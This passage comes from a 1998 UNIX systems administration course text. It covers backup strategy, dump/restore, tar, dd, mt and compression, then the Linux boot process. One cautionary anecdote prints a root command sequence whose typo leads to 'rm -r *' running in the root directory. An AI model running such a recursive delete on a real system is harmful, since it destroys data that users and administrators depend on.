10.1 As a System Administrator, you have been asked to set up a new system. The system will contain two hard disks, each 2.5 Gb in size. What issues must you consider when installing these disks? What questions should you be asking about the usage of the disks? 10.2 You have noticed that at boot time, not all the normal messages are appearing on the screen. You have also discovered that X-Windows won't run. Suggest possible reasons for this and the solutions to the problems. 10.3 A new hard disk has been added to your system to store the print spool in. List all the steps in adding this hard disk to the system.

David Jones, Bruce Jamieson (15/10/98)

Page 242

85321, Systems Administration

Chapter 10: Managing File Systems

10.4 You have just dropped your Linux box while it was running (power was lost during the system's short flight) - the system boots but will not mount the hard disk. Discuss possible reasons for the problem and the solutions. 10.5 What are links used for? What are the differences between hard and soft links?

David Jones, Bruce Jamieson (15/10/98)

Page 243

85321, Systems Administration

Chapter 11: Backups

Chapter

11

Backups
Like most of those who study history, he (Napoleon III) learned from the mistakes of the past how to make new ones. A.J.P. Taylor.

Introduction
This is THE MOST IMPORTANT responsibility of the System Administrator. Backups MUST be made of all the data on the system. It is inevitable that equipment will fail and that users will "accidentally" delete files. There should be a safety net so that important information can be recovered.

It isn't just users who accidentally delete files

A friend of mine who was once the administrator of a UNIX machine (and shall remain nameless, but is now a respected Academic at CQU) committed one of the great no-no's of UNIX Administration. Early on in his career he was carefully removing numerous old files for some obscure reason when he entered commands resembling the following (he was logged in as root when doing this).
cd / usr/user/panea rm -r *

notice the mistake

The first command contained a typing mistake (the extra space) that meant that instead of being in the directory /usr/user/panea he was now in the / directory. The second command says delete everything in the current directory and any directories below it. Result: a great many files removed. The moral of this story is that everyone makes mistakes. Root users, normal users, hardware and software all make mistakes, break down or have faults. This means you must keep backups of any system.

Characteristics of a good backup strategy

Backup strategies change from site to site. What works on one machine may not be possible on another. There is no standard backup strategy. There are however a number of characteristics that need to be considered including ease of use, time efficiency, ease of restoring files, ability to verify backups, tolerance of faulty media, and
Page 244

David Jones and Bruce Jamieson (15/10/98)

85321, Systems Administration

Chapter 11: Backups

portabilty to a range of machines.

Ease of use
If backups are easy to use, you will use them. AUTOMATE!! It should be as easy as placing a tape in a drive, typing a command and waiting for it to complete. In fact you probably shouldn't have to enter the command, it should be automatically run. When backups are too much work At many large computing sites operators are employed to perform low-level tasks like looking after backups. Looking after backups generally involves obtaining a blank tape, labelling it, placing it in the tape drive and then storing it away. A true story that is told by an experienced Systems Administrator is about an operator that thought backups took too long to perform. To solve this problem the operator decided backups finished much quicker if you didn't bother putting the tape in the tape drive. You just labelled the blank tape and placed it in storage. Quite alright as long as you don't want to retrieve anything from the backups.

Time efficiency
Obtain a balance to minimise the amount of operator, real and CPU time taken to carry out the backup and to restore files. The typical tradeoff is that a quick backup implies a longer time to restore files. Keep in mind that you will in general perform more backups than restores. On some large sites, particular backup strategies fail because there arent enough hours in a day. Backups scheduled to occur every 24 hours fail because the previous backup still hasn't finished. This obviously occurs at sites which have large disks.

Ease of restoring files

The reason for doing backups is so you can get information back. You will have to be able to restore information ranging from a single file to an entire file system. You need to know on which media the required file is and you need to be able to get to it quickly. This means that you will need to maintain a table of contents and label media carefully.

David Jones and Bruce Jamieson (15/10/98)

Page 245

85321, Systems Administration

Chapter 11: Backups

Ability to verify backups

YOU MUST VERIFY YOUR BACKUPS. The safest method is once the backup is complete, read the information back from the media and compare it with the information stored on the disk. If it isnt the same then the backup is not correct. Well that is a nice theory but it rarely works in practice. This method is only valid if the information on the disk hasn't changed since the backup started. This means the file system cannot be used by users while a backup is being performed or during the verification. Keeping a file system unused for this amount of time is not often an option. Other quicker methods include restoring a random selection of files from the start, middle and end of the backup, If these particular files are retrieved correctly the assumption is that all of the files are valid. create a table of contents during the backup; afterwards read the contents of the tape and compare the two. These methods also do not always work. Under some conditions and with some commands the two methods will not guarantee that your backup is correct.

Tolerance of faulty media

A backup strategy should be able to handle faults in the media, and physical dangers. There are situations where it is important that there exist at least two copies of full backups of a system, and that at least one set should be stored at another site. Consider the following situation. A site has one set of full backups stored on tapes. They are currently performing another full backup of the system onto the same tapes. What happens when the backup system is happily churning away when it gets about halfway and crashes (the power goes off, the tape drive fails etc). This could result in the both the tape and the disk drive being corrupted. Always maintain duplicate copies of full backups. An example of the importance of storing backups off site was the Pauls icecream factory in Brisbane. The factory is located right on the riverbank and during the early 1970's Brisbane suffered problems caused by a major flood. The Pauls computer room was in the basement of their factory and was completely washed out. All the backups were kept in the computer room.

David Jones and Bruce Jamieson (15/10/98)

Page 246

85321, Systems Administration

Chapter 11: Backups

Portabilty to a range of platforms

There may be situations where the data stored on backups must be retrieved onto a different type of machine. The ability for backups to be portable to different types of machine is often an important characteristic. For example: The computer currently being used by a company is the last in its line. The manufacturer is bankrupt and no one else uses the machine. Due to unforeseen circumstances the machine burns to the ground. The Systems Administrator has recent backups available and they contain essential data for this business. How are the backups to be used to reconstruct the system?

Considerations for a backup strategy

Apart from the above characteristics, factors that may affect the type of backup strategy implemented will include the available commands The characteristics of the available commands limit what can be done. available hardware The capacity of the backup media to be used also limits how backups are performed. In particular how much information can the media hold? maximum expected size of file systems The amount of information required to be backed up and whether or not the combination of the available software and hardware can handle it. A suggestion is that individual file systems should never contain more information than can fit easily onto the backup media. importance of the data The more important the data is, the more important that it be backed up regularly and safely. level of data modification The more data being created and modified, the more often it should be backed up. For example the directories /bin and /usr/bin will hardly ever change so they rarely need backing up. On the other hand directories under /home are likely to change drastically every day.

The components of backups

There are basically three components to a backup strategy. The scheduler Decides when the backup is performed. transport, and The command that moves the backup from the disks to the backup media. media The actual physical device on which the backup is stored.

David Jones and Bruce Jamieson (15/10/98)

Page 247

85321, Systems Administration

Chapter 11: Backups

Scheduler
The scheduler is the component that decides when backups should be performed and how much should be backed up. The scheduler could be the root user or a program, usually cron (discussed in a later chapter). The amount of information that the scheduler backs up can have the following categories full backups, All the information on the entire system is backed up. This is the safest type but also the most expensive in machine and operator time and the amount of media required. partial backups, or Only the busier and more important file systems are backed up. One example of a partial backup might include configuration files (like /etc/passwd), user home directories and the mail and news spool directories. The reasoning is that these files change the most and are the most important to keep a track of. In most instances this can still take substantial resources to perform. incremental backups. Only those files that have been modified since the last backup are backed up. This method requires less resources but a large amount of incremental backups make it more difficult to locate the version of a particular file you may desire.

Transport
The transport is a program that is responsible for placing the backed-up data onto the media. There are quite a number of different programs that can be used as transports. Some of the standard UNIX transport programs are examined later in this chapter. There are two basic mechanisms that are used by transport programs to obtain the information from the disk image, and through the file system. Image transports An image transport program bypasses the file system and reads the information straight off the disk using the raw device file. To do, this the transport program needs to understand how the information is structured on the disk. This means that transport programs are linked very closely to exact file systems since different file systems structure information differently. Once read off the disk, the data is written byte by byte from disk onto tape. This method generally means that backups are usually quicker than the "file by file" method. However restoration of individual files generally takes much more time.

David Jones and Bruce Jamieson (15/10/98)

Page 248

85321, Systems Administration

Chapter 11: Backups

Transport programs that use the method include dd, volcopy and dump. File by file Commands performing backups using this method use the system calls provided by the operating system to read the information. Since almost any UNIX system uses the same system calls, a transport program that uses the file by file method (and the data it saves) is more portable. File by file backups generally take more time but it is generally easier to restore individual files. Commands that use this method include tar and cpio.

Media
Backups are usually made to tape based media. There are different types of tape. Tape media can differ in physical size and shape, and amount of information that can be stored. From 100Mb up to 8Gb. Different types of media can also be more reliable and efficient. The most common type of backup media used today are 4 millimetre DAT tapes. Reading Under the Resource Materials section for Week 6 on the 85321 Web site/CD-ROM you will find a pointer to the USAIL resources on backups. This includes a pointer to discussion about the different type of media which are available.

Commands
As with most things, the different versions of UNIX provide a plethora of commands that could possibly act as the transport in a backup system. The following table provides a summary of the characteristics of the more common programs that are used for this purpose. Command dump/restore tar cpio Availability BSD systems almost all systems AT&T systems
The

Characteristics image backup, allows multiple volumes, not included on most AT&T systems file by file, most versions do not support multiple volumes, intolerant of errors file by file, can support multiple volumes some versions don't,

Table 1 1 .1 . Diffe r e nt Bac kup Co mmands.

There are a number of other public domain and commercial backup utilities available which are not listed here.

David Jones and Bruce Jamieson (15/10/98)

Page 249

85321, Systems Administration

Chapter 11: Backups

dump and restore

A favourite amongst many Systems Administrators, dump is used to perform backups and restore is used to retrieve information from the backups. These programs are of BSD UNIX origin and have not made the jump across to SysV systems. Most SysV systems do not come with dump and restore. The main reason is that since dump and restore bypass the file system, they must know how the particular file system is structured. So you simply can't recompile a version of dump from one machine onto another (unless they use the same file system structure). Many recent versions of systems based on SVR4 (the latest version of System V UNIX) come with versions of dump and restore. dump on Linux There is a version of dump for Linux. However, it may be possible that you do not have it installed on your system. RedHat 5.0 includes an RPM package which includes dump. If your system doesn't have dump and restore installed you should install it now. RedHat provides a couple of tools to installe these packages: rpm and glint. glint is the GUI tool for managing packages. Refer to the RedHat documentation for more details on using these tools. You will find the dump package under the Utilities/System folder. Before you can install the dump package you will have to install the rmt package. dump The command line format for dump is dump [ options [ arguments ] ] file system dump [ options [ arguments ] ] filename Arguments must appear after all options and must appear in a set order. dump is generally used to backup an entire partition (file system). If given a list of filenames, dump will backup the individual files. dump works on the concept of levels (it uses 9 levels). A dump level of 0 means that all files will be backed up. A dump level of 1...9 means that all files that have changed since the last dump of a lower level will be backed up. Table 11.2 shows the arguments for dump.

David Jones and Bruce Jamieson (15/10/98)

Page 250

85321, Systems Administration

Chapter 11: Backups

Options 0-9 a archive-file f dump-file u v

Purpose dump level archive-file will be a table of contents of the archive. specify the file (usually a device file) to write the dump to, a specifies standard output update the dump record (/etc/dumpdates) after writing each volume, rewind the tape and verify. The file system must not be used during dump or the verification.
Table 1 1 .2 . Ar g ume nts fo r d u m p

There are other options. Refer to the man page for the system for more information. For example:
dump 0dsbfu 54000 6000 126 /dev/rst2 /usr

full backup of /usr file system on a 2.3 Gig 8mm tape connected to device rst2 The numbers here are special information about the tape drive the backup is being written on. The restore command The purpose of the restore command is to extract files archived using the dump command. restore provides the ability to extract single individual files, directories and their contents and even an entire file system.
restore -irRtx [ modifiers ] [ filenames ]

The restore command has an interactive mode where commands like ls etc can be used to search through the backup. Arguments Purpose i interactive, directory information is read from the tape after which you can browse through the directory hierarchy and select files to be extracted. r restore the entire tape. Should only be used to restore an entire file system or to restore an incremental tape after a full level 0 restore. t table of contents, if no filename provided, root directory is listed including all subdirectories (unless the h modifier is in effect) x extract named files. If a directory is specified, it and all its subdirectories are extracted.
Ar g ume nts Table 1 1 .3 . fo r the r e sto r e Co mmand.

David Jones and Bruce Jamieson (15/10/98)

Page 251

85321, Systems Administration

Chapter 11: Backups

Modifiers a archive-file

d h v f dump-file s n
Ar g ume nt

Purpose use an archive file to search for a file's location. Convert contents of the dump tape to the new file system format turn on debugging prevent hierarchical restoration of subdirectories verbose mode specify dump-file to use, - refers to standard input skip to the nth dump file on the tape
Co mmand.

Table 1 1 .4 . mo difie r s fo r the r e sto r e

Using dump and restore without a tape

Not many of you will have tape drives or similar backup media connected to your Linux machine. However, it is important that you experiment with the dump and restore commands to gain an understanding of how they work. This section offers a little kludge which will allow you to use these commands without a tape drive. The method relies on the fact that UNIX accesses devices through files.

Our practice file system

For all our experimentation with the commands in this chapter we are going to work with a practice file system. Practising backups with hard-drive partitions is not going to be all that efficient as they will almost certainly be very large. Instead we are going to work with a floppy drive. The first step then is to format a floppy with the ext2 file system. By now you should know how to do this. Here's what I did to format a floppy and put some material on it.
[root@beldin]# /sbin/mke2fs /dev/fd0 mke2fs 1.10, 24-Apr-97 for EXT2 FS 0.5b, 95/08/09 Linux ext2 filesystem format Filesystem label= 360 inodes, 1440 blocks 72 blocks (5.00%) reserved for the super user First data block=1 Block size=1024 (log=0) Fragment size=1024 (log=0) 1 block group 8192 blocks per group, 8192 fragments per group 360 inodes per group Writing inode tables: done Writing superblocks and filesystem accounting information: done [root@beldin]# mount -t ext2 /dev/fd0 /mnt/floppy [root@beldin]# cp /etc/passwd /etc/issue /etc/group /var/log/messages /mnt/floppy [root@beldin dump-0.3]#

David Jones and Bruce Jamieson (15/10/98)

Page 252

85321, Systems Administration

Chapter 11: Backups

Doing a level 0 dump

So I've copied some important stuff to this disk. Let's assume I want to do a level 0 dump of the /mnt/floppy file system. How do I do it?
[root@beldin]# /sbin/dump 0f /tmp/backup /mnt/floppy DUMP: Date of this level 0 dump: Sun Jan 25 15:05:11 1998 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/fd0 (/mnt/floppy) to /tmp/backup DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 42 tape blocks on 0.00 tape(s). DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] DUMP: DUMP: 29 tape blocks on 1 volumes(s) DUMP: Closing /tmp/backup DUMP: DUMP IS DONE

The arguments to the dump command are 0 This tells dump I wish to perform a level 0 dump of the file system. f This is telling dump that I will tell it the name of the file that it should write the backup to. /tmp/backup This is the name of the file I want the backup to go to. Normally, this would be the device file for a tape drive or other backup device. However, since I don't have one I'm telling it a normal file. /mnt/floppy This is the file system I want to backup. What this means is that I have now created a file, /tmp/backup, which contains a level 0 dump of the floppy.
[root@beldin]# ls -l /tmp/backup -rw-rw-r-1 root tty 20480 Jan 25 15:05 /tmp/backup

Restoring the backup

Now that we have a dump archive to work with, we can try using the restore command to retrieve files.
[root@beldin dump-0.3]# /sbin/restore -if /tmp/backup
restore > ? Available commands are: ls [arg] - list directory cd arg - change directory pwd - print current directory add [arg] - add `arg' to list of files to be extracted delete [arg] - delete `arg' from list of files to be extracted extract - extract requested files setmodes - set modes of requested directories quit - immediately exit program what - list dump header information verbose - toggle verbose flag (useful with ``ls'') help or `?' - print this list If no `arg' is supplied, the current directory is used restore > ls

David Jones and Bruce Jamieson (15/10/98)

Page 253

85321, Systems Administration

Chapter 11: Backups

.: group

issue

lost+found/ messages

passwd

restore > add passwd restore > extract You have not read any tapes yet. Unless you know which volume your file(s) are on you should start with the last volume and work towards towards the first. Specify next volume #: 1 Mount tape volume 1 Enter ``none'' if there are no more tapes otherwise enter tape name (default: /tmp/backup) set owner/mode for '.'? [yn] y restore > quit [root@beldin]# ls -l passwd -rw-r--r-1 root root 787 Jan 25 15:00 passwd

Alternative
Rather than backup to a normal file on the hard-drive you could choose to backup files directly to a floppy drive (i.e. use /dev/fd0 rather than /tmp/backup). One problem with this alternative is that you are limited to 1.44Mb. According to the "known bugs document" distributed with Linux dump it does not yet support multiple volumes. Exercises
11.1

11.2

Do a level 0 dump of a portion of your home directory. Examine the file /etc/dumpdates. How has it changed? Use restore to retrieve some individual files from the backup and also to retrieve the entire backup.

The tar command

tar is a general purpose command used for archiving files. It takes multiple files and directories and combines them into one large file. By default the resulting file is written to a default device (usually a tape drive). However the resulting file can be placed onto a disk drive.
tar -function[modifier] device [files]

The purpose and values for function and modifier are shown in Tables 11.5 through 11.7. When using tar, each individual file stored in the final archive is preceded by a header that contains approximately 512 bytes of information. Also the end of the file is always padded so that it occurs on an even block boundary. For this reason, every file added into the tape archive has on average an extra .75Kb of padding per file.

David Jones and Bruce Jamieson (15/10/98)

Page 254

85321, Systems Administration

Chapter 11: Backups

Arguments Purpose function A single letter specifying what should be done, values listed in Table 11.6 modifier Letters that modify the action of the specified function, values listed in Table 11.7 files The names of the files and directories to be restored or archived. If it is a directory then EVERYTHING in that directory is restored or archived
Table 1 1 .5 . Ar g ume nts to tar .

Function c r t u *

Purpose create a new tape, do not write after last file replace, the named files are written onto the end of the tape table, information about specified files is listed, similar in output to the command ls -l, if no files specified all files listed update, named files are added to the tape if they are not already there or they have been modified since being previously written extract, named files restored from the tape, if the named file matches a directory all the contents are extracted recursively
Value s o f * the u function can be very slow Table 1 1 .6 . the func tio n ar g ume nt fo r tar .

Modifier Purpose v verbose, tar reports what it is doing and to what w tar prints the action to be taken, the name of the file and waits for user confirmation f file, causes the device parameter to be treated as a file m modify, tells tar not to restore the modification times as they were archived but instead to use the time of extraction o ownership, use the UID and GID of the user running tar not those stored on the tape
Value s o f the Table 1 1 .7 . mo difie r ar g ume nt fo r tar .

If the f modifier is used it must be the last modifier used. Also tar is an example of a UNIX command where the - character is not required to specify modifiers. For example:
tar -xvf temp.tar tar xvf temp.tar

extracts all the contents of the tar file temp.tar

David Jones and Bruce Jamieson (15/10/98)

Page 255

85321, Systems Administration

Chapter 11: Backups

tar -xf temp.tar hello.dat

extracts the file hello.dat from the tar file temp.tar

tar -cv /dev/rmt0 /home

archives all the contents of the /home directory onto tape, overwriting whatever is there Exercises
11.3

11.4

Create a file called temp.dat under a directory tmp that is within your home directory. Use tar to create an archive containing the contents of your home directory. Delete the $HOME/tmp/temp.dat created in the previous question. Extract the copy of the file that is stored in the tape archive (the term tape archive is used to refer to a file created by tar) created in the previous question.

The dd command
The man page for dd lists its purpose as being "copy and convert data". Basically dd takes input from one source and sends it to a different destination. The source and destination can be device files for disk and tape drives, or normal files. The basic format of dd is
dd [option = value ....]

Table 11.8. lists some of the different options available. Option if=name of=name ibs=num obs=num bs=num skip=num files=num conv=ascii conv=ebcdic conv=lcase conv=ucase conv=swab Purpose input file name (default is standard input) output file name (default is standard output) the input block size in num bytes (default is 512) the output block size in num bytes (default is 512) set both input and output block size skip num input records before starting to copy copy num files before stopping (used when input is from magnetic tape) convert EBCDIC to ASCII convert ASCII to EBCDIC make all letters lowercase make all letters uppercase swap every pair of bytes
Table O ptio ns 1 1 .8 . fo r d d.

David Jones and Bruce Jamieson (15/10/98)

Page 256

85321, Systems Administration

Chapter 11: Backups

For example:
dd if=/dev/hda1 of=/dev/rmt4

with all the default settings copy the contents of hda1 (the first partition on the first disk) to the tape drive for the system Exercises
11.5

Use dd to copy the contents of a floppy disk to a single file to be stored under your home directory. Then copy it to another disk.

The mt command
The usual media used in backups is magnetic tape. Magnetic tape is a sequential media. That means that to access a particular file you must pass over all the tape containing files that come before the file you want. The mt command is used to send commands to a magnetic tape drive that control the location of the read/write head of the drive.
mt [-f tapename] command [count]

Arguments tapename command

count

Purpose raw device name of the tape device one of the commands specified in table 11.10. Not all commands are recognised by all tape drives. number of times to carry out command
Table 1 1 .9 . fo r the m t Co mmand.

Par ame te r s

Commands fsf asf rewind retension erase offline

Action move forward the number of files specified by the count argument move forward to file number count rewind the tape wind the tape out to the end and then rewind erase the entire tape eject the tape
Table 1 1 .1 0 . Po ssible using the m t Co mmand.

Co mmands

For example:
mt -f /dev/nrst0 asf 3

moves to the third file on the tape

mt -f /dev/nrst0 rewind mt -f /dev/nrst0 fsf 3

David Jones and Bruce Jamieson (15/10/98)

Page 257

85321, Systems Administration

Chapter 11: Backups

same as the first command The mt command can be used to put multiple dump/tar archive files onto the one tape. Each time dump/tar is used, one file is written to the tape. The mt command can be used to move the read/write head of the tape drive to the end of that file, at which time dump/tar can be used to add another file. For example:
mt -f /dev/rmt/4 rewind

rewinds the tape drive to the start of the tape

tar -cvf /dev/rmt/4 /home/jonesd

backs up my home directory, after this command the tape will be automatically rewound
mt -f /dev/rmt/4 asf 1

moves the read/write head forward to the end of the first file
tar -cvf /dev/rmt/4a /home/thorleym

backs up the home directory of thorleym onto the end of the tape drive There are now two tar files on the tape, the first containing all the files and directories from the directory /home/jonesd and the second containing all the files and directories from the directory /home/thorleym.

Compression programs
Compression programs are sometimes used in conjunction with transport programs to reduce the size of backups. This is not always a good idea. Adding compression to a backup adds extra complexity to the backup and as such increases the chances of something going wrong. compress compress is the standard UNIX compression program and is found on every UNIX machine (well, I don't know of one that doesn't have it). The basic format of the compress command is
compress filename

The file with the name filename will be replaced with a file with the same name but with an extension of .Z added, and that is smaller than the original (it has been compressed). A compressed file is uncompressed using the uncompress command or the d switch of compress.
uncompress filename

or

compress -d filename

David Jones and Bruce Jamieson (15/10/98)

Page 258

85321, Systems Administration

Chapter 11: Backups

For example:
bash$ ls -l ext349* -rw-r----- 1 jonesd

17340 Jul 16 14:28 ext349

bash$ compress ext349 bash$ ls -l ext349* -rw-r----- 1 jonesd bash$ uncompress ext349 bash$ ls -l ext349* -rw-r----- 1 jonesd

5572 Jul 16 14:28 ext349.Z

17340 Jul 16 14:28 ext349

gzip
gzip is a new addition to the UNIX compression family. It works in basically the same way as compress but uses a different (and better) compression algorithm. It uses an extension of .z and the program to uncompress a gzip archive is gunzip. For example:
bash$ gzip ext349 bash$ ls -l ext349*

-rw-r----- 1 jonesd
bash$ gunzip ext349

4029 Jul 16 14:28 ext349.z

Exercises
11.6

Modify your solution to exercise 11.5 so that instead of writing the contents of your floppy straight to a file on your hard disk it first compresses the file using either compress or gzip and then saves to a file.

Conclusions
In this chapter you have been introduced to the components of a backup strategy scheduler, transport, and media been shown some of the UNIX commands that can be used as the transport in a backup strategy examined some of the characteristics of a good backup strategy and some of the factors that affect a backup strategy

Review questions
11.1. Design a backup strategy for your system. List the components of your backup strategy and explain how these components affect your backup strategy.

David Jones and Bruce Jamieson (15/10/98)

Page 259

85321, Systems Administration

Chapter 11: Backups

11.2.

Explain the terms media, scheduler and transport.

11.3. Outline the difference between file by file and image transport programs.

David Jones and Bruce Jamieson (15/10/98)

Page 260

85321, Systems Administration

Chapter 12: Startup and Shutdown

Chapter
Introduction

12

Startup and Shutdown

Being a multi-tasking, multi-user operating system means that UNIX is a great deal more complex than an operating system like MS-DOS. Before the UNIX operating system can perform correctly, there are a number of steps that must be followed, and procedures executed. The failure of any one of these can mean that the system will not start, or if it does it will not work correctly. It is important for the Systems Administrator to be aware of what happens during system startup so that any problems that occur can be remedied. It is also important for the Systems Administrator to understand what the correct mechanism is to shut a UNIX machine down. A UNIX machine should (almost) never be just turned off. There are a number of steps to carry out to ensure that the operating system and many of its support functions remain in a consistent state. By the end of this chapter you should be familiar with the startup and shutdown procedures for a UNIX machine and all the related concepts.

A booting overview
The process by which a computer is turned on and the UNIX operating system starts functioning booting - consists of the following steps finding the kernel, The first step is to find the kernel of the operating system. How this is achieved is usually particular to the type of hardware used by the computer. starting the kernel, In this step the kernel starts operation and in particular goes looking for all the hardware devices that are connected to the machine. starting the processes. All the work performed by a UNIX computer is done by processes. In this stage, most of the system processes and daemons are started. This step also includes a number of steps which configure various services necessary for the system to work.

David Jones and Bruce Jamieson (15/10/98)

Page 261

85321, Systems Administration

Chapter 12: Startup and Shutdown

Finding the Kernel

For a UNIX computer to be functional it must have a kernel. The kernel provides a number of essential services which are required by the rest of the system in order for it to be functional. This means that the first step in the booting process of a UNIX computer is finding out where the kernel is. Once found, it can be started, but that's the next section.

ROM
Most machines have a section of read only memory (ROM) that contains a program the machine executes when the power first comes on. What is programmed into ROM will depend on the hardware platform. For example, on an IBM PC, the ROM program typically does some hardware probing and then looks in a number of predefined locations (the first floppy drive and the primary hard drive partition) for a bootstrap program. On hardware designed specifically for the UNIX operating system (machines from DEC, SUN etc), the ROM program will be a little more complex. Many will present some form of prompt. Generally this prompt will accept a number of commands that allow the Systems Administrator to specify where to boot the machine from, and Sometimes the standard root partition will be corrupt and the system will have to be booted from another device. Examples include another hard drive, a CD-ROM, floppy disk or even a tape drive. whether to come up in single user or multi-user mode. As a bare minimum, the ROM program must be smart enough to work out where the bootstrap program is stored and how to start executing it. The ROM program generally doesn't know enough to know where the kernel is or what to do with it.

The bootstrap program

At some stage the ROM program will execute the code stored in the boot block of a device (typically a hard disk drive). The code stored in the boot block is referred to as a bootstrap program. Typically the boot block isn't big enough to hold the kernel of an operating system so this intermediate stage is necessary. The bootstrap program is responsible for locating and loading (starting) the kernel of the UNIX operating system into memory. The kernel of a UNIX operating system is usually stored in the root directory of the root file system under some system-defined filename. Newer versions of Linux, including RedHat 5.0, put the kernel into a directory called /boot. The most common bootstrap program in the Linux world is a program called LILO.

David Jones and Bruce Jamieson (15/10/98)

Page 262

85321, Systems Administration

Chapter 12: Startup and Shutdown

Reading LILO is such an important program to the Linux operating system that it has its own HOW-TO. The HOW-TO provides a great deal of information about the boot process of a Linux computer.

Booting on a PC
The BIOS on a PC generally looks for a bootstrap program in one of two places (usually in this order) the first (A:) floppy drive, or the first (C:) hard drive. By playing with your BIOS settings you can change this order or even prevent the BIOS from checking one or the other. The BIOS loads the program that is on the first sector of the chosen drive and loads it into memory. This bootstrap program then takes over.

On the floppy
On a bootable floppy disk the bootstrap program simply knows to load the first blocks on the floppy that contain the kernel into a specific location in memory. A normal Linux boot floppy contains no file system. It simply contains the kernel copied into the first sectors of the disk. The first sector on the disk contains the first part of the kernel which knows how to load the remainder of the kernel into RAM.

Making a boot disk

The simplest method for creating a floppy disk which will enable you to boot a Linux computer is insert a floppy disk into a computer already running Linux login as root change into the /boot directory copy the current kernel onto the floppy
dd if=vmlinuz of=/dev/fd0

The name of the kernel, vmlinuz, may change from system to system. For example, on some RedHat 5.0 machines it may be vmlinux2.0.31. tell the boot disk where to find the root disk rdev /dev/fd0 /dev/hda1 Where /dev/fd0 is the device for the floppy drive you are using and /dev/hda1 is the device file for your root disk. You need to make sure you replace /dev/fd0 and /dev/hda1 with the appropriate values for your system.

David Jones and Bruce Jamieson (15/10/98)

Page 263

85321, Systems Administration

Chapter 12: Startup and Shutdown

Exercises
12.1

Using the above steps create a boot floppy for your machine and test it out.

Using a boot loader

Having a boot floppy for your system is a good idea. It can come in handy if you do something to your system which prevents the normal boot procedure from working. One example of this is when you are compiling a new kernel. It is not unheard of for people to create a kernel which will not boot their system. If you don't have an alternative boot method in this situation then you will have some troubles. However, you can't use this process to boot from a hard-drive. Instead a boot loader or boot strap program, such as LILO, is used. A boot loader generally examines the partition table of the hard-drive, identifies the active partition, and then reads and starts the code in the boot sector for that partition. This is a simplification. In reality the boot loader must identify, somehow, the sectors in which the kernel resides. Other features a boot loader (under Linux) offers include using a key press to bring up a prompt to modify the boot procedure, and the passing of parameters to the kernel to modify its operation Exercises
12.2

If you have the time, haven't done so already, or know it is destined to failure read the LILO documentation and install LILO onto your system. There are some situations where you SHOULD NOT install LILO. These are outlined in the documentation. Make sure you take notice of these situations.

Starting the kernel

Okay, the boot strap program or the ROM program has found your system's kernel. What happens during the startup process? The kernel will go through the following process initialise its internal data structures, Things like ready queues, process control blocks and other data structures need to be readied. check for the hardware connected to your system, It is important that you are aware that the kernel will only look for hardware that it contains code for. If your system has a SCSI disk drive interface your kernel must have the SCSI interface code before it will be able to use it. verify the integrity of the root file system and then mount it, and create the process 0 (swapper) and process 1 (init).

David Jones and Bruce Jamieson (15/10/98)

Page 264

85321, Systems Administration

Chapter 12: Startup and Shutdown

The swapper process is actually part of the kernel and is not a "real" process. The init process is the ultimate parent of all processes that will execute on a UNIX system. Once the kernel has initialised itself, init will perform the remainder of the startup procedure.

Kernel boot messages

When a UNIX kernel is booting, it will display messages on the main console about what it is doing. Under Linux, these messages are also sent to syslog and are by default appended onto the file /var/log/messages. The following is a copy of the boot messages on my machine with some additional comments to explain what is going on. Examine the messages that your kernel displays during bootup and compare them with mine. start kernel logging
Feb 2 15:30:40 beldin kernel: klogd 1.3-3, log source = /proc/kmsg started. Loaded 4189 symbols from /boot/System.map. Symbols match kernel version 2.0.31. Loaded 2 symbols from 3 modules.

Configure the console

Console: 16 point font, 400 scans Console: colour VGA+ 80x25, 1 virtual console (max 63)

Start PCI software

pcibios_init : BIOS33 Service Directory structure at 0x000f9320 pcibios_init : BIOS32 Service Directory entry at 0xf0000 pcibios_init : PCI BIOS revision 2.00 entry at 0xf0100 Probing PCI hardware. Calibrating delay loop.. ok - 24.01 BogoMIPS

check the memory

Memory: 30844k/32768k available (736k kernel code, 384k reserved, 804k data)

start networking
Swansea University Computer Society NET3.035 for Linux 2.0 NET3: Unix domain sockets 0.13 for Linux NET3.035. Swansea University Computer Society TCP/IP for NET3.034 IP Protocols: IGMP, ICMP, UDP, TCP VFS: Diskquotas version dquot_5.6.0 initialized

check the CPU and find that it suffers from the Pentium bug
Checking 386/387 coupling... Hmm, FDIV bug i586 system Checking 'hlt' instruction... Ok. Linux version 2.0.31 (root@porky.redhat.com) (gcc version 2.7.2.3) #1 Sun Nov 9 21:45:23 EST 1997

start swap
Starting kswapd v 1.4.2.2

start the serialdrivers

tty00 at 0x03f8 (irq = 4) is a 16550A tty01 at 0x02f8 (irq = 3) is a 16550A

start drivers for the clock, drives

Real Time Clock Driver v1.07 Ramdisk driver initialized : 16 ramdisks of 4096K size hda: FUJITSU M1636TAU, 1226MB w/128kB Cache, CHS=622/64/63 hdb: SAMSUNG PLS-30854A, 810MB w/256kB Cache, CHS=823/32/63 ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Floppy drive(s): fd0 is 1.44M FDC 0 is a post-1991 82077 md driver 0.35 MAX_MD_DEV=4, MAX_REAL=8 scsi : 0 hosts. scsi : detected total. Partition check: hda: hda1 hda2 < hda5 > hdb: hdb1

David Jones and Bruce Jamieson (15/10/98)

Page 265

85321, Systems Administration

Chapter 12: Startup and Shutdown

mount the root file system an start swap

VFS: Mounted root (ext2 filesystem) readonly. Adding Swap: 34236k swap-space (priority -1) EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended sysctl: ip forwarding off Swansea University Computer Society IPX 0.34 for NET3.035 IPX Portions Copyright (c) 1995 Caldera, Inc. Appletalk 0.17 for Linux NET3.035 eth0: 3c509 at 0x300 tag 1, 10baseT port, address 00 20 af 33 b5 be, IRQ 10. 3c509.c:1.12 6/4/97 becker@cesdis.gsfc.nasa.gov eth0: Setting Rx mode to 1 addresses.

Starting the processes

So at this stage the kernel has been loaded, it has initialised its data structures and found all the hardware devices. At this stage your system can't do anything. The operating system kernel only supplies services which are used by processes. The question is how are these other processes created and executed. On a UNIX system the only way in which a process can be created is by an existing process performing a fork operation. A fork creates a brand new process that contains copies of the code and data structures of the original process. In most cases the new process will then perform an exec that replaces the old code and data structures with that of a new program. But who starts the first process?
init is the process that is the ultimate ancestor of all user processes on a

UNIX system. It always has a Process ID (PID) of 1. init is started by the operating system kernel so it is the only process that doesn't have a process as a parent. init is responsible for starting all other services provided by the UNIX system. The services it starts are specified by init'sconfiguration file, /etc/inittab.

Run levels
